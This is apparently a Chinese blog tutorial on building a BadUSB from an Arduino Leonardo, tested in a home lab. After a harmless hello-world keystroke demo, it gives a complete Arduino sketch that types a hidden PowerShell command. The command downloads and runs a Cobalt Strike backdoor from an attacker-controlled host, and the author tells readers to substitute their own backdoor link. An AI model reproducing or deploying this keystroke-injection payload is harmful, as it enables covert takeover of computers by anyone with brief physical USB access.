BadUsb初窥

BadUsb初窥

0x01 背景介绍

之前在某宝买了一块arduino的板子,一直想做一个badusb,近期终于腾出空来了,于是打算简单搞一搞。

0x02 环境

物理环境:win10机器一台,arduino板子一个

软件:arduino-1.5.5-r2(Arduino IDE)

环境基本就这些,因为我买的是类似u盘的,如下图所示,不需要usb线,直接插电脑即可,在进行其他实验中可能还会用到一些虚拟机环境。

leonardo_Arduino

0x03 安装驱动

安装驱动比较简单,这边简要说明一下:将板子插到电脑usb口上,然后打开设备管理器,在端口一栏可以看到有个未识别的设备(COM口),有的机器也可能显示为Arduino Leonardo,选中后右键-更新驱动程序软件,选择浏览计算机以查找驱动程序,然后找到并选择已经下载好的arduino-1.5.5文件夹下的drivers目录,点击下一步,之后即可安装成功,此时可以看到端口为COM5,如下图所示:

drivers

0x04 构建代码

打开Arduino开发者工具(arduino-1.5.5),选择板的类型:点击工具-板-选择Arduino Leonardo,如下图所示:

Arduion_Leonardo

COM口选择:工具-端口-COM5(之前设备管理器中看到的端口),如下图所示:

COM5

一切准备就绪之后,开始编写代码,这里简要介绍一下其代码的格式,以下是其给出的默认代码:

void setup() {
  // put your setup code here, to run once:

}

void loop() {
  // put your main code here, to run repeatedly:

}

可以看到这里只有setup方法和loop方法,setup方法:即Badusb在插上后首次执行的代码,我们Badusb通常使用到的就是setup方法,我们只需要将代码写入在void setup(){//代码写在这里}即可。

loop方法:loop即循环,在不设置跳出循环条件的情况下,其中的代码会无限循环执行,如果在其中写入一个不断按F5的循环代码,可能插上后电脑就会死机。

这里写入一段测试代码,使其自动在记事本中写入hello world,代码如下:

void setup() {
  Keyboard.begin();
  delay(3000);//延时
  Keyboard.press(KEY_LEFT_GUI);
  delay(200); 
  Keyboard.print("r");
  delay(200); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(200); 
  //=========================Run==========================
  Keyboard.println("NOTEPAD");
  delay(500);
  Keyboard.println("hELLO wORLD!!!");
  //======================================================
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}

void loop() {
}

点击上传,可以看到上传成功,然后自动验证代码,发现执行成功,如下图所示:

helloworld

helloworld_ok

0x05 上线主机

环境准备:win10物理机,kali x64虚拟机(IP:192.168.233.139),win7 x64虚拟机(IP:192.168.233.143)

工具:cobaltstrike 3.14(以下简称cs),arduino-1.5.5-r2

硬件:badusb

使用kali虚拟机开启一个cs server,如下图所示:

cs_server

在win10物理机中开启一个cs client,开启一个监听器,并生成一个ps后门,如下图所示:

cs_client

listener

ps

生成用于执行攻击的链接,如下图所示:

download

将之前调试好的badusb插入到win10物理机中(板和端口此时皆已设置好),将以下代码写入到badusb中(使用时可将其中的后门链接替换成自己的)。

void setup(){//初始化 
Keyboard.begin();//开始键盘通讯 
delay(5000);//延时 
Keyboard.press(KEY_LEFT_GUI);//win键 
delay(500);
Keyboard.press('r');//r键
delay(500); 
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r'); 
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN); 
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://192.168.233.139:80/download/test.ps1') ");
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK); 
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯 
void loop()
{
}

写入成功后如下图所示:

write_in

之后打开win7虚拟机,将badusb连接到win7虚拟机中,如下图所示:

win7

一会儿执行完成后可以看到cs中这台win7已经上线,如下图所示:

any01

0x06 总结

在实验中,badusb插入到虚拟机中可能出现没有反应(未执行代码)的情况,这时可以尝试多插拔几次,在插入物理机中测试时比在虚拟机中执行更加顺利。此外,实战当中还未曾应用过badusb,有兴趣的同学可以一起研究下。

0x07 附功能键代码

delay(5000);//延时毫秒

Keyboard.begin(); //开始键盘通讯

Keyboard.end(); //结束键盘通讯

Keyboard.press(); //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来

Keyboard.release(); //释放键盘按键

Keyboard.println(“”); //输入字符串使用双引号括起来

Mouse.begin();//鼠标事件开始

Mouse.click();//鼠标单击

Mouse.end();//鼠标事件结束

Mouse.move();//鼠标移动(x,y)

Mouse.press();//鼠标按下

Mouse.release();//鼠标松开

Mouse.isPressed();//

KEY_LEFT_CTRL

KEY_LEFT_SHIFT

KEY_LEFT_ALT

KEY_LEFT_GUI //win键

KEY_RIGHT_CTRL

KEY_RIGHT_SHIFT

KEY_RIGHT_ALT

KEY_RIGHT_GUI

KEY_UP_ARROW

KEY_DOWN_ARROW

KEY_LEFT_ARROW

KEY_RIGHT_ARROW

KEY_BACKSPACE

KEY_TAB

KEY_RETURN//回车键

KEY_ESC

KEY_INSERT

KEY_DELETE

KEY_PAGE_UP

KEY_PAGE_DOWN

KEY_HOME

KEY_END

KEY_CAPS_LOCK

KEY_F1

KEY_F2

KEY_F3

KEY_F4

KEY_F5

KEY_F6

KEY_F7

KEY_F8

KEY_F9

KEY_F10

KEY_F11

KEY_F12